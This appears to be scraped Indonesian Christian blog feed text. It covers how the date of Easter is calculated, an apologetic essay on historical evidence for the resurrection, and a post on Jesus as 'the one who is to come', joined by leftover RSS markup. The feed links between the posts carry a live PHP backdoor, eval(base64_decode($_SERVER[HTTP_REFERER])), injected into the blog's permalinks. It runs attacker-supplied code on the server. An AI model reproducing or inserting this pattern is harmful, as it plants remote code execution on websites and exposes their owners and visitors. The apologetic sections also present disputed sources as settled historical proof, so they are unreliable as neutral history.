Pada tahun berikutnya, cara perhitungan yang dikerjakan oleh gereja Aleksandria menjadi standar perhitungan. Secara perlahan sistem tersebut mulai tersebar ke gereja-gereja Kristen di Eropa. Gereja Roma meneruskan penggunaan siklus kalender suryacandra yang berusia 84 tahun sejak akhir abad ke-3 hingga 457. Gereja Roma terus menggunakan caranya sendiri hingga abad ke-6 saat metode Aleksandria telah dikonversikan ke kalender Julian oleh Dionysius Exiguus. Gereja mula-mula di Britania dan Irlandia juga menggunakan metode Roma yang lama tersebut hingga Sinode Whitby tahun 664 saat mereka mulai menggunakan metode Aleksandria. Gereja-gereja di belahan barat Eropa menggunakan metode Roma hingga akhir abad ke-8 pada masa pemerintahan Karel yang Agung, lalu mereka menggunakan metode Aleksandria. Namun demikian, sejak Gereja Katolik mulai menggunakan kalender Gregorian menggantikan kalender Julian sejak 1582 dan Gereja Ortodoks Timur tetap berpegang pada kalender Julian, maka perayaan Paskah kembali dirayakan secara berbeda, dan perbedaan itu tetap ada hingga saat ini.

Dalam perhitungan gerejawi, gereja-gereja Kristen menggunakan 21 Maret sebagai awal tanggal perhitungan Paskah, dari sana dicari kapan bulan purnama berikutnya, dst. Bagi gereja-gereja Ortodoks yang masih menggunakan kalender Julian, tanggal yang digunakan juga 21 Maret, namun dalam kalender Julian, sebagai akibatnya terdapat perbedaan-perbedaan (lihat tabelnya di Wikipedia).

Perhitungan yang kompleks tersebut kira-kira dapat disederhanakan sebagai berikut:

Paskah ditentukan berdasarkan siklus suryacandra. Satu bulan dalam penanggalan candra (bulan) terdiri dari bulan-bulan sepanjang 30 hari dan 29 hari, berselang-seling, dengan satu bulan tambahan yang ditambahkan secara berkala agar pas dengan penanggalan surya (matahari). Dalam setiap tahun surya (1 Januari hingga 31 Desember), bulan candra dimulai dengan sebuah purnama gerejawi yang jatuh pada periode 29 hari di antara 8 Maret hingga 5 April (inklusif) dan dinamakan “bulan candra Paskah” tahun tersebut. Paskah adalah hari Minggu ke-3 dalam bulan candra Paskah, atau dengan kata lain hari Minggu setelah hari ke-14 bulan candra Paskhal. Hari ke-14 itu sendiri dinamakan purnama Paskah, walaupun hari ke-14 pada bulan candra dapat berbeda dengan purnama astronomis hingga 2 hari lamanya.[35] Karena purnama gerejawi jatuh pada tanggal 8 Maret hingga 5 April (>8 Maret & <=5 April), purnama Paskhal atau hari ke-14-nya pasti jatuh pada tanggal 21 Maret hingga 18 April (>21 Maret & <=18 April).

Dengan demikian Paskah menurut kalender Gregorian akan memiliki 35 kemungkinan hari - antara 22 Maret hingga 25 April (inklusif)[36]. Terakhir kali Paskah jatuh pada tanggal 22 Maret adalah pada tahun 1818 dan berikutnya adalah tahun 2285. Terakhir kali Paskah jatuh pada tanggal 25 April adalah pada 1943 dan berikutnya adalah tahun 2038. Siklus perputaran tangan-tanggal Paskah berulang tepat setiap 5.700.000 tahun; 19 April merupakan tanggal Paskah yang tersering, yang terjadi 220.400 kali, atau 3.9%, dibanding dengan median tanggal-tanggal lainnya sebanyak 189.525 kali atau 3.3%. Paskah menurut kalender Julian seringkali (sekitar 50%) dirayakan 1 minggu setelah kalender Gregorian, karena tidak adanya penyesuaian perhitungan tanggal seperti yang dilakukan di kalender Gregorian. Namun tidak jarang pula selisih waktunya hingga 3-4 minggu.

Untuk menghindari perbedaan cara perhintungan Paskah, gereja Katolik telah membuat tabel tanggal Paskah menurut aturan di atas. Seluruh gereja yang merayakan Paskah merayakannya sesuai dengan tanggal di tabel.

Beberapa algoritma yang digunakan untuk menghitung Paskah antara lain perhitungan Gregorian, algoritma Gauss, algoritma Gregorian anonim, dan algoritma Julian Meeus.

Bukti Sejarah Kebangkitan

Pengantar

Jika kebangkitan bukan peristiwa sejarah, maka kuasa kematian tetap tidak dikalahkan; Kematian Kristus menjadi tidak ada artinya, dan umat yang percaya kepada-Nya tetap mati dalam dosa; Keadaannya akan tidak berbeda dengan sebelum mendengar nama-Nya.

1. Apakah kebangkitan Kristus hanya sekedar ajaran saja?

2. Apakah kebangkitan Kristus hanya legenda saja?

3. Ataukah kebangkitan Kristus benar-benar terjadi dalam sejarah?

Penjelasan

Kebangkitan Kristus merupakan suatu peristiwa yang terjadi di dalam dimensi ruang dan waktu sejarah manusia. Kebangkitan Kristus adalah peristiwa dalam sejarah, dimana Tuhan bekerja di dalam waktu dan ruang tertentu.

Makna kebangkitan berhubungan dengan pembicaraan teologi, tetapi fakta kebangkitan berhubungan dengan pembicaraan sejarah. Fakta bahwa tubuh Yesus tidak berada lagi dalam kubur adalah pembicaraan yang bisa ditentukan dengan bukti sejarah.

Lokasi geografik dari kubur Yesus adalah lokasi yang dapat ditentukan. Orang yang mempunyai kubur Yesus adalah orang yang benar-benar hidup pada paruh pertama abad pertama. Kubur yang dibuat dari batu ini berada di perbukitan dekat Yerusalem. Ini bukan sekedar kepercayaan, tetapi adalah benar-benar lokasi geografis yang dapat ditentukan letaknya. Sanhedrin adalah tempat dimana orang-orang sering berkumpul di Yerusalem. Banyak tulisan yang mencatat bahwa Yesus adalah orang yang benar-benar hidup, tinggal di antara manusia, tinggal dalam masyarakat, tanpa memandang bagaimana tulisan-tulisan itu menganggap siapa Yesus. Banyak tulisan juga mencatat bahwa murid-murid yang memberitakan Tuhan yang bangkit adalah juga tinggal di dalam masyarakat, makan, minum, tidur, menderita, bekerja dan mati. Apakah ini pembicaraan ajaran? Tidak, ini adalah pembicaraan sejarah.

Ignatius yang berasal dari Syria, bishop dari Antiokhia, murid Rasul Yohanes, yang hidup antara tahun 50-115 M, dalam perjalanannya dihukum mati sebagai martir dengan diadu dengan binatang buas, menulis tentang Kristus:

“Dia disalibkan dan mati di bawah pemerintahan Pontius Pilatus. Dia benar-benar disalibkan dan mati di hadapan penghuni sorga, penghuni bumi dan bawah bumi.

Dia juga bangkit pada hari ketiga…

Pada hari persiapan Paskah, pada jam 3 (pukul 9 pagi), Dia menerima hukuman mati dari Pilatus; Bapa mengijinkan hal itu terjadi.

Pada jam 6 (pukul 12 siang), Dia disalib. Pada jam 9 (pukul 15 siang), Dia menyerahkan nyawa-Nya, dan sebelum matahari terbenam, Dia dikuburkan.

Selama hari Sabat, Dia terus di dalam bumi pada kubur di mana Yusuf dari Arimatea membaringkan-Nya.

Dia berada dalam rahim, seperti halnya kita, dan setelah periode waktu yang umum, Dia benar-benar lahir, dan seperti halnya kita, Ia benar-benar disusui, dan mengambil bagian dalam makan dan minum seperti halnya kita. Ketika Ia hidup di antara orang-orang selama 30 tahun, Dia benar-benar dibaptis oleh Yohanes. Ketika Dia mengajar Injil selama 3 tahun dan mengadakan tanda-tanda dan mujizat, Dia yang adalah Hakim dihakimi oleh orang Yahudi, dianggap bersalah kata mereka, dan oleh pemerintahan gubernur Pontius Pilatus dijadikan momok, pipi-Nya dipukul dan diludahi. Dia memakai mahkota duri dan jubah ungu. Dia dihukum: Dia benar-benar disalib, tidak dalam penglihatan, tidak dalam halusinasi. Dia benar-benar mati dan dikuburkan, dan bangkit dari antara orang mati.”

Mengenai kematian Kristus, Wilbur Smith menulis: “Secara sederhana kita mengetahui banyak hal-hal detil sebelum dan saat kematian Yesus, lebih banyak dari kematian tokoh-tokoh lain leluhur dunia”.

Pada akhir abad pertama, Josephus, seorang sejarahwan Yahudi menulis dalam bukunya Antiquities:

“Pada kira-kira waktu ini, hiduplah Yesus, seorang yang bijaksana, jika memang seseorang seharusnya menyebut dia seorang manusia. Karena ia adalah seseorang yang mengadakan hal-hal yang mengejutkan dan adalah seorang guru bagi orang-orang yang menerima kebenaran dengan senang hati. Ia memenangkan banyak orang Yahudi dan banyak orang Yunani. Ia adalah Sang Kristus. Ketika Pilatus, karena mendengar bahwa ia dikenai tuduhan oleh orang-orang dengan jabatan tertinggi di antara kami, telah menjatuhkan hukuman salib kepadanya, mereka yang dari mulanya sudah mengasihi dia tidak melepaskan kasih sayang mereka kepadanya. Pada hari ketiga ia menampakkan diri kepada mereka dalam keadaan kembali hidup, karena nabi-nabi Tuhan telah menubuatkan hal-hal ini dan tak terhitung banyaknya hal-hal menakjubkan lainnya mengenai dia. Dan suku Kristen, demikian mereka disebutkan menurut namanya, sampai saat ini masih ada.”

Injil-injil menjelaskan fakta-fakta yang berhubungan dengan kematian dan kebangkitan Yesus lebih detail dari bagian manapun pelayanan Yesus. Detil dari kebangkitan Yesus harus diterima seperti halnya detil kematian-Nya.

Perjanjian Baru juga menegaskan bahwa: Yesus disalibkan, mati dan dikuburkan. Murid-murid-Nya menjadi sangat kehilangan semangat dan takut.

Beberapa waktu yang singkat kemudian tiba-tiba semangat mereka bangkit, dan menunjukkan suatu semangat dan keberanian yang sangat tinggi, hingga tahap bersedia mati martir. Jika kita bertanya kepada mereka apa yang menyebabkan perubahan ini, mereka tidak akan menjawab, ‘Karena penyaliban, kematian dan penguburan seorang yang pernah hidup’, tetapi mereka akan menjawab, ‘Karena Tuhan telah bangkit’. Inilah yang menyebabkan orang-orang menjadi percaya.

Murid-murid adalah saksi kebangkitan Yesus Kristus. Catatan sejarahwan Lukas, mencatat dalam Kisah Para Rasul 1:3,

“Kepada mereka Ia menunjukkan diri-Nya setelah penderitaan-Nya selesai, dan dengan banyak tanda Ia membuktikan, bahwa Ia hidup. Sebab selama empat puluh hari Ia berulang-ulang menampakkan diri dan berbicara kepada mereka tentang Kerajaan Allah.”

Kristus menampakkan diri setelah kebangkitan-Nya. Penampakan ini terjadi dalam waktu yang dapat ditentukan, kepada banyak orang yang dapat ditentukan, dan dalam tempat yang dapat ditentukan.

Para murid percaya karya penebusan Yesus melalui bukti yang sangat kuat mengenai kebangkitan-Nya dan bukti ini tersedia kepada kita sekarang melalui catatan Perjanjian Baru. Ini penting bagi kita yang hidup di dalam jaman yang meminta bukti untuk mendukung pernyataan Kekristenan mengenai kebangkitan Kristus; untuk menjawab mereka yang meminta bukti sejarah Kebangkitan Kristus.

Kebangkitan Kristus berdasar kepada fakta sejarah, dan merupakan sumber motivasi yang kuat orang mempercayai Yesus Kristus sebagai Tuhan dan Juruselamat.

Ada bukti-bukti yang tidak dapat disanggah mengenai kebangkitan Kristus dalam surat-surat Paulus. Surat-surat yang ditujukan kepada: Galatia, Korintus, dan Roma, adalah surat yang ditulis Rasul Paulus selama dalam perjalanan misi antara tahun 55-58 M. Ini menunjukkan bahwa bukti-bukti kebangkitan Kristus sangat dekat dengan peristiwa itu sendiri, karena Paulus sendiri berbicara secara jelas bahwa materi surat yang ia tulis isinya sama dengan yang ia bicarakan waktu ia bersama-sama dengan mereka.

Kebangkitan Kristus adalah dasar dari pembelaan iman Kristen. Rasul-rasul adalah saksi kebangkitan: “… mulai dari baptisan Yohanes sampai hari Yesus terangkat ke sorga meninggalkan kami, untuk menjadi saksi dengan kami tentang kebangkitan-Nya.” (Kisah Para Rasul 1:22).

Isi dari pengajaran rasul Paulus saat di Athena adalah: “Yesus dan Kebangkitan” (Kisah Para Rasul 17:18). Khotbah pertama Petrus adalah tentang Kebangkitan: “Yesus inilah yang dibangkitkan Allah, dan tentang hal itu kami semua adalah saksi” (Kisah Para Rasul 2:32).

Sebagai fakta sejarah, Kebangkitan Kristus mendorong manusia untuk percaya kepada-Nya sebagai Tuhan dan Juruselamat. Ini bukan sekedar pembicaraan mengenai pengaruh: karakter, contoh dan pengajaran-Nya. Ini mengenai tanggapan manusia terhadap-Nya. Siapa yang percaya kepada kebangkitan-Nya, kemudian mempercayai ketuhanan-Nya, kemudian percaya akan karya penebusan-Nya, kemudian percaya kepada-Nya sebagai Tuhan dan Juruselamat, akan memperoleh penebusan dosa dan diselamatkan. Siapa yang menyangkal kebangkitan-Nya, secara langsung menyangkal ketuhanan-Nya dan menolak karya penebusan-Nya, tidak diselamatkan.

1. Kebangkitan Yesus Kristus adalah fakta sejarah.

2. Penyaliban Yesus Kristus untuk menanggung dosa manusia adalah fakta sejarah.

3. Penyaliban Yesus Kristus untuk menanggung dosa Saudara adalah fakta sejarah.

4. Maukah Saudara menerima fakta sejarah ini?

5. Maukah Saudara menerima karya penebusan Kristus bagi Saudara?

6. Maukah Saudara diselamatkan dari hukuman dosa, kemudian menerima hidup kekal?

7. Maukah Saudara menerima Yesus Kristus sebagai Tuhan dan Juruselamat Saudara?

Sumber:

Josh McDowell, The New Evidence that Demands a Verdict, Thomas Nelson Publisher.

Lee Strobel, Pembuktian Atas Kebenaran Kristus, Penerbit Gospel Press, PO BOX 238, Batam Center, 29432. F: 021-74709281

]]>
http://www.davidmanurung.com/blog/2009/03/30/definisi-paskah-paskah-1/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/
Dia Yang Akan Datang - Paskah 2 http://www.davidmanurung.com/blog/2009/03/30/dia-yang-akan-datang-paskah-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.davidmanurung.com/blog/2009/03/30/dia-yang-akan-datang-paskah-2/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 30 Mar 2009 07:42:24 +0000 david manurung http://www.davidmanurung.com/blog/?p=1349 Kata “Mesias” berasal dari kata Ibrani yang berarti “Yang Diurapi”; istilah “Kristus” berasal dari kata Yunani yang memiliki arti yang sama. Daud dan raja-raja lain dari Israel memang diurapi dengan minyak sebelum menjalankan otoritas kekuasaannya. Yesus diurapi untuk peran mesias-Nya ketika Roh Allah turun atas-Nya ketika Ia dibaptis di sungai Yordan.

Dia Yang Akan Datang

‘Dia yang akan datang’ bukan sebutan yang tepat untuk Yesus. Namun itu merupakan satu istilah yang sering dikenakan kepada-Nya, dengan kaitan baik untuk sejarah kedatangan-Nya dalam dunia atau kepada kedatangan- Nya untuk kedua kali atau kedatangan-Nya yang berulang kali.

Engkaukah Yang Akan Datang Itu?

Pada waktu Yohanes Pembaptis dipenjarakan oleh Herodes Antipas, ia mengutus dua orang untuk bertanya kepada Yesus, menyelidiki dan melaporkan kegiatan-Nya. Pertanyaan yang diajukan adalah “Engkaukah yang akan datang itu atau haruskah kami menantikan orang lain?” (Matius 11:3; Lukas 7:20). Yohanes, dalam masa bebasnya, telah menyatakan bahwa ia mempersiapkan jalan bagi Yang Lebih Besar daripadanya, yang akan mengadakan penghakiman dengan angin dan api. Ia mempunyai konsep yang jelas dalam pikirannya akan Pribadi yang akan datang itu, akan pekerjaan-Nya, dan sekarang ia tidak lagi yakin seperti sebelumnya bahwa Yesus memenuhi konsep itu.

Jelas, ketika Yohanes memulai pelayanan baptisannya banyak pandangan menjalar mengenai beberapa gambaran yang tampak, jelasnya diharapkan, memberikan signal akan datangnya waktu itu dan permulaan zaman baru. Sebagian orang berusaha untuk mengidentifikasikan Yohanes sendiri dengan satu atau lain figur yang ada. Ketika ia menyangkal bahwa ia adalah Mesias, ditanyakan lagi, “Engkaukah Elia?” - karena seorang dari nabi yang kemudian dinubuatkan sebagai utusan Allah sebagai Elia yang kembali ke dunia untuk melaksanakan pelayanan pendamaian sebelum tiba hari Tuhan yang besar dan dahsyat itu (Maleakhi 4:5,6). “Bukan!” sanggah Yohanes. “Lalu, apakah engkau seorang nabi?” Tidak perlu mempertanyakan kepada Yohanes, “Nabi yang mana?” Ia tahu bahwa para penanya berkonsep tentang nabi yang dikatakan Musa, “Tuhan Allahmu akan membangkitkan bagimu seorang nabi seperti aku.” (Ulangan 18:15). Namun ia menyangkal bahwa ia adalah nabi. Ia mengidentifikasikan diri sendiri bukan dengan siapapun dari antara figur yang diharapkan; ia hanya “suara” yang memanggil pria dan wanita untuk “menyiapkan jalan bagi Tuhan” (seperti tercatat dalam Yesaya 40:3), untuk mempersiapkan intervensi-Nya yang akan datang.

Secara alamiah, sebagai usaha-usaha yang dibuat untuk mengidentifikasikan Yohanes dengan figur-figur yang diharapkan, sejajar dengan usaha yang dilakukan terhadap Yesus. Sebagian dari usaha-usaha itu diulang oleh para murid Yesus ketika Ia bertanya kepada mereka di Kaisarea Filipi, “Menurut kata orang siapakah Aku?”

Dalam masa itu ada tiga pribadi yang sangat diharapkan muncul di Israel - seorang raja agung (Daud kedua), seorang imam besar (Harun kedua), dan seorang nabi agung (Musa kedua). Dalam salah satu dari dokumen Qumran tercatat bahwa masyarakat Qumran akan hidup menurut peraturan yang ditetapkan ’sampai bangkitnya seorang nabi dan Yang diurapi dari Harun dari Israel’. ‘Nabi’ (sebagaimana dinyatakan oleh ayat-ayat Qumran lainnya) adalah nabi seperti Musa, ‘Yang Diurapi dari Harun’ adalah imam besar dari keturunan Harun (Mesias berkeimaman) dan ‘Yang Diurapi dari Israel’ diidentifikasikan dengan keturunan Daud, seorang raja yang menang (Mesias manusiawi).

Raja Yang Akan Datang

Yesus, seperti yang kita lihat, tidak menolak klaim sebutan ‘anak Daud’ kepada-Nya, tetapi Ia tidak menekankan garis keturunan-Nya dari Daud. Jika sebutan Mesias memaksa konsep manusia berpikir tentang gambaran seorang raja perang seperti Daud, maka lebih baik Ia tidak menggunakannya. Karena jelas ada satu kontras yang sangat besar antara karir Daud dengan karir dari keturunan Daud yang terbesar. Ketika Imam Besar bertanya kepada Yesus apakah Ia adalah Mesias atau bukan, Ia menegaskan secara langsung dengan menambahkan kata-kata yang menunjukkan bahwa Ia nyata mengklaim itu untuk diri sendiri.

Kata “Mesias” berasal dari kata Ibrani yang berarti “Yang Diurapi”; istilah “Kristus” berasal dari kata Yunani yang memiliki arti yang sama. Daud dan raja-raja lain dari Israel memang diurapi dengan minyak sebelum menjalankan otoritas kekuasaannya. Yesus diurapi untuk peran mesias-Nya ketika Roh Allah turun atas-Nya ketika Ia dibaptis di sungai Yordan. Menurut Lukas, di sinagoge Nazaret Yesus membacakan pembukaan dari Yesaya 61, “Roh Tuhan ada pada-Ku, oleh sebab Ia telah mengurapi Aku …” (Lukas 4:18), sebenarnya Ia mereferensikannya dengan baptisan-Nya. Demikian juga Petrus mereferensikan baptisan Yesus ketika mengkhotbahkan Injil untuk pertama kalinya kepada pendengar kafir di rumah Kornelius di Kaisarea dan mengatakan bagaimana “Allah mengurapi Yesus, orang Nazaret dengan Roh Kudus dan kuasa” (Kisah 10:38).

Maka, ketika orang Kristen berbicara mengenai Yesus sebagai Mesias atau Kristus, mereka melupakan kaitan antara militer dan politik dengan pengurapan kerajaan dalam masa Perjanjian Lama, dan memenuhi istilah ini dengan arti yang Yesus berikan kepada mereka dengan menjadi manusia dan melakukan segala hal yang Ia telah kerjakan. Ketika kita mengatakan ‘Yesus adalah Kristus’, nama Yesuslah yang memberikan arti kepada istilah Kristus, bukan yang lain. Otoritas Yesus sebagai raja terbukti di kayu salib, seperti yang dinyanyikan orang Kristen,

Musuh besar kita kocar-kacir, Kristus Yesus adalah Raja!

mereka menyanyikan kemenangan yang diraih melalui kematian dan kebangkitan.

Imam Yang Akan Datang

Ada fungsi lain dalam Israel kuno ketika seseorang diberikan jabatan melalui pengurapan minyak. Yaitu imam besar, yang diawali oleh Harun. Imam besar dalam masyarakat Qumran diharapkan bangkit pada akhir zaman baru. Inilah peran yang tidak dapat dipenuhi Yesus untuk satu alasan sederhana. Keimaman berdasarkan keturunan Harun pada suku Lewi; Yesus berasal dari suku Yehuda. Sehingga tidak ada cara untuk memandang-Nya sebagai imam besar keturunan Harun.

Namun demikian, satu dokumen dalam Perjanjian Baru menyatakan gambaran Yesus sebagai imam besar bagi umat-Nya, melayani demi kepentingan mereka dalam penebusan sorgawi pada dasar satu pengorbanan sempurna yang Ia hadirkan satu kali untuk selamanya ketika Ia menyerahkan hidupNya sendiri. Catatan itu adalah surat kepada orang Ibrani. Tetapi ketika penulis yang tidak dikenal dari catatan itu mencari otoritas Perjanjian Lama untuk menggambarkan Yesus sebagai imam besar, ia menemukan itu tidak dalam keimaman Harun tetapi dalam percakapan klasik di mana Allah bersumpah tentang Mesias dari keturunan Daud (yang adalah keturunan Yehuda) “Engkau adalah imam besar untuk selamanya menurut peraturan Melkisedek” (Mazmur 110:4). Melkizedek adalah imam dari raja di Yerusalem pada zaman Abraham hidup dan penulis surat Ibrani menyatakan bahwa keimaman Melkisedek jauh lebih terhormat dan efektif dibandingkan Harun, dan bahwa itu telah sempurna digenapkan dalam Yesus.

Seperti Harun dan penerusnya, dalam surat Ibrani Yesus dinyatakan sebagai imam besar yang diurapi, tetapi lagi, pengurapan-Nya tidak dalam pengertian harafiah, dengan minyak khusus, melainkan secara rohani. Satu referensi pada pengurapan Yesus ditemukan dalam satu mazmur kerajaan, yang kedatangan Yesus. Sekarang dalam Yesus Allah telah mengutus jurubicara-Nya yang sempurna. Ia sendiri dapat menggenapi sepenuhnya istilah dari nubuat Musa; Ia adalah Dia yang kepada-Nya semua harus mendengarkan.

Dia, Yang Telah Datang, Akan Datang Kembali

Maka ketika Yesus disambut dengan berbagai cara sebagai Dia yang akan datang, dan Ia diproklamasikan dalam Injil sebagai Seorang yang pernah datang — raja, imam, nabi. Tetapi Injil memproklamasikan Ia tidak hanya sebagai seorang yang telah datang — datang ke dalam dunia untuk menyelamatkan orang berdosa — tetapi juga sebagai seorang yang terus menetas hadir dan pada puncaknya akan datang pada waktu yang akan datang. “Untuk sedikit waktu” demikian penulis Ibrani mencatat “dan Ia akan datang, sudah akan ada, tanpa menangguhkan kedatangan-Nya.” (Ibrani 10:37).

Ketika Yesus menghadap takhta imam besar untuk interogasi, Ia menyatakan penghakimannya bahwa mereka tidak melihat akhir-Nya, mereka akan melihat-Nya lagi “datang dengan awan-awan sorgawi”. Sebagaimana kita katakan di atas awan sorgawi menyatakan ide kehadiran ilahi. Referensinya mungkin tidak hanya satu kali kedatangan pada akhir zaman tetapi berulangkali memanifestasikan kehadiran dan kuasa Yesus dalam sejarah dunia seperti dalam pengalaman umat-Nya. Inilah faktor penting dalam berita Kristiani yaitu karena pengorbanan dan kematian-Nya, Yesus adalah Tuhan atas sejarah dan segala kejadian. Dalam bahasa kitab Wahyu, Ia adalah Yang Awal dan Yang Akhir, Yang Hidup, Yang telah ada dan terus ada, Yang akan datang. Karena Ia adalah Yang Akan Datang, maka tidak ada yang statis mengenai Dia, Ia hadir secara dinamis dalam kehidupan manusia, datang ketika pengharapan sangat kecil dan memimpin ke arah lebih depan dalam tujuan Allah yang begitu luas.

Menurut Injil Yohanes, Yesus mengatakan kepada para murid-Nya dalam ruangan atas, beberapa jam sebelum Ia naik, bahwa Ia akan meninggalkan mereka tetapi Ia akan kembali. Kembalinya akan memakai banyak bentuk, lebih dari satu. Dalam satu bentuk, kembali melampaui hidup mereka saat itu, “Ketika Aku pergi dan menyiapkan tempat bagimu, Aku akan kembali dan membawa kamu ke tempat-Ku, supaya di tempat di mana Aku berada, kamupun berada” (Yohanes 14:3). Tetapi dalam bentuk lain merupakan suatu pengembalian dalam hidup mereka saat itu, “Aku tidak akan meninggalkan engkau yatim piatu. Aku datang kembali kepadamu.” (Yohanes 14:18). Janji yang terakhir ini digenapi dengan diutusnya Paraklete, Roh Kudus, menjadi penolong, guru dan pemimpin yang setia dan menjadikan kehadiran-Nya secara pribadi nyata terus menetas kepada mereka. Tetapi bahkan pengutusan Paraklete menyempurnakan penggenapan janji: dengan membawa pengikut-Nya ke dalam persekutuan kasih yang menyatukan Bapa dengan Anak, Yesus akan membuat mereka lebih sadar akan penyertaan-Nya, jika mungkin, daripada selama ini ketika Ia dapat dilihat dan hadir nyata bersama dengan mereka.

Tujuan Sejarah

Puisi Inggris pada abad ke-19 mengekspresikan keyakinan lebih dari zaman kita:

Yet I doubt not thro the ages one increasing purpose runs, and run the thoughts of men are widen’d with the process of the suns

Itu bukan pandangan Kristus secara khusus yang disuarakannya. Tetapi frase “one increasing purpose” dapat merangkumkan sangat baik akan perspektif Kristen tentang waktu. Inilah bagaimana perspektif itu diletakkan dalam bagian yang dikenal dalam Perjanjian Baru. “Yang dilimpahkan-Nya kepada kita dalam segala hikmat dan pengertian.” Sebab Ia telah menyatakan rahasia kehendak-Nya kepada kita, sesuai dengan rencana kerelaan-Nya, yaitu rencana kerelaan yang dari semula telah ditetapkan-Nya di dalam Kristus, sebagai persiapan kegenapan waktu untuk mempersatukan di dalam Kristus sebagai Kepala segala sesuatu, baik yang di sorga, maupun yang di bumi.” (Efesus 1:8-10). Dunia waktu dan ruang, yaitu dengan segala faktor yang berkonflik, pada akhirnya akan diperdamaikan dan dipersatukan di bawah pemerintahan Kristus. Proses perdamaian diinagurasikan oleh kematianNya di kayu salib - perdamaian dari pria dan wanita dengan Allah dan perdamaian dari pembagian antagonis dalam keluarga manusia — akan disempurnakan dalam perdamaian puncak ketika alam semesta dibawa ke dalam kesatuan dalam Kristus. Tidak kurang daripada ini diimplikasikan ketika Yang Disalibkan dikenal sebagai Tuhan atas segala sesuatu.

Hakim Yang Benar

Yesus, tidak datang untuk menghakimi dunia melainkan untuk menyelamatkannya, juga melalui kedatangan-Nya menginisiasikan satu penghakiman yang di dalamnya pria dan wanita menyatakan diri sendiri untuk Dia atau melawan Dia. Dan penghakiman ini sendiri pada bagian mereka akan menjadi dasar dari penghakiman mereka pada akhirnya.

Pada satu kesempatan, Ia menggambarkan dengan jelas melalui kata-kata akan kedatangan Anak Manusia, ketika Ia duduk di atas takhta kemuliaan dan segala bangsa akan dibawa ke hadapanNya untuk dihakimi. Ia akan memisahkan yang benar dari yang tidak benar “seperti seorang gembala memisahkan domba dari antara kambing” dan akan menjatuhkan penghargaan dan hukuman yang tepat kepada keduabelah pihak. Anggota kedua kelompok akan dikejutkan oleh penilaian-Nya, karena itu tidak sesuai dengan pelaksanaan pengadilan umumnya. Kriteria penghakiman adalah perlakuan mereka terhadap orang miskin, lemah, tertindas dan yang dianggap hina. Mereka dipandang oleh Anak Manusia sebagai saudara laki-laki dan saudara perempuan-Nya, dan kepada mereka yang Ia hakimi Ia berkata, “Karena dengan berbuat demikian, engkau telah melakukannya kepada-Ku (Matius 25:31-46).

Inilah aplikasi gambaran penghakiman Yesus dalam kitab Daniel, di mana figur seorang manusia (seseorang seperti anak manusia) menerima takhta dan otoritas penghakiman dari Allah. Jelas Anak Manusia yang Yesus bicarakan harus diidentifikasikan dengan diri-Nya sendiri. Inilah cara mengerti perkataan-Nya setelah kematian dan kebangkitan. Petrus mengumumkan dalam rumah Kornelius bahwa Yesus adalah Dia yang ditetapkan Allah untuk menghakimi yang hidup dan yang mati (Kisah 10:42). Paulus mengatakan di hadapan sidang Aeropagus di Atena bahwa Allah telah menetapkan suatu hari, pada waktu mana Ia dengan adil akan menghakimi dunia oleh seorang yang telah ditentukan-Nya, sesudah Ia memberikan kepada semua orang suatu bukti tentang hal itu dengan membangkitkan Dia dari antara orang mati (Kisah 17:31). Dalam suratnya kepada orang Kristen di Roma ia menunjukkan hal yang sama kepada hari itu, bilamana Allah, sesuai dengan Injil yang kuberitakan, akan menghakimi segala sesuatu yang tersembunyi dalam hati manusia, oleh Kristus Yesus (Roma 2:16). Kemudian, dalam surat yang sama ia mengatakan, “kita akan berdiri di hadapan takhta penghakiman Allah (Roma 14:10), tetapi ketika ia berbicara tentang hal yang sama dalam II Korintus 5:10 ia mengatakan, “Sebab kita semua harus menghadap takhta pengadilan Kristus.” Ini bukan dua penghakiman yang berbeda, tetapi satu, yaitu melalui agen Kristus Allah akan menjalankan pekerjaan penghakiman, seperti melalui Kristus Ia melaksanakan pekerjaan penciptaan.

Maka orang Kristen akan terus memuji Kristus “Kami percaya bahwa Engkau akan kembali sebagai Hakim kami.” Tetapi penghakiman terakhir ini menjadi satu topik utama dalam penghakiman yang bekerja sendiri dalam setiap generasi. Sejarah dunia adalah penghakiman atas dunia, demikian penyair Jerman Schiller. Dan jika Kristus adalah hakim Ilahi yang dituju oleh seluruh umat manusia, menyatakan sesuatu tentang natur dan prinsip penghakiman-Nya. Sesuai karakter, pengajaran dan hidup-Nya bahwa jalan utama akan dijadikan. Yesus sejarah menyatakan bahwa pengajaran-Nya menyediakan satu-satunya fondasi kokoh bagi hidup manusia. “Setiap orang yang datang kepada-Ku dan mendengarkan perkataan-Ku serta melakukannya — Aku akan menyatakan kepadamu dengan siapa ia dapat disamakan –, ia sama dengan seorang yang mendirikan rumah: Orang itu menggali dalam-dalam dan meletakkan dasarnya di atas batu. Ketika datang air bah dan banjir melanda rumah itu, rumah itu tidak dapat digoyahkan, karena rumah itu kokoh dibangun. Akan tetapi barangsiapa mendengar perkataan-Ku, tetapi tidak melakukannya, ia sama dengan seorang yang mendirikan rumah di atas tanah tanpa dasar. Ketika banjir melandanya, rumah itu segera rubuh dan hebatlah kerusakannya.” (Lukas 6:47-49).

Kebenaran dari manifestasi ini seringkali diulang dalam sejarah individu dan masyarakat. Perkataan Yesus mengindikasikan cukup jelas mengenai kriteria dalam penghakiman akhir. Tidak ada yang diragukan mengenai hal itu: penghakiman terwarisi dalam karakter pribadi-pribadi yang dihakimi dan dalam natur tingkah laku mereka.

Yohanes dalam Injilnya tidak menggunakan bahasa gambar penginjil yang lain ketika ia berbicara mengenai penghakiman. Yesus, adalah Dia yang diberikan Bapa otoritas untuk melaksanakan penghakiman. Di dalam pelayanan-Nya di dunia pria dan wanita telah memilih hidup atau mati menurut respon mereka kepada-Nya dan pengajaran-Nya; prinsip yang sama akan dijalankan pada penghakiman terakhir. Kepada orang yang menolong- Nya ataupun pengajaran-Nya, Yesus berkata, “Firman yang telah Kukatakan itulah yang akan menjadi hakimnya pada akhir zaman.” (Yohanes 12:48).

Kebangkitan Orang Mati

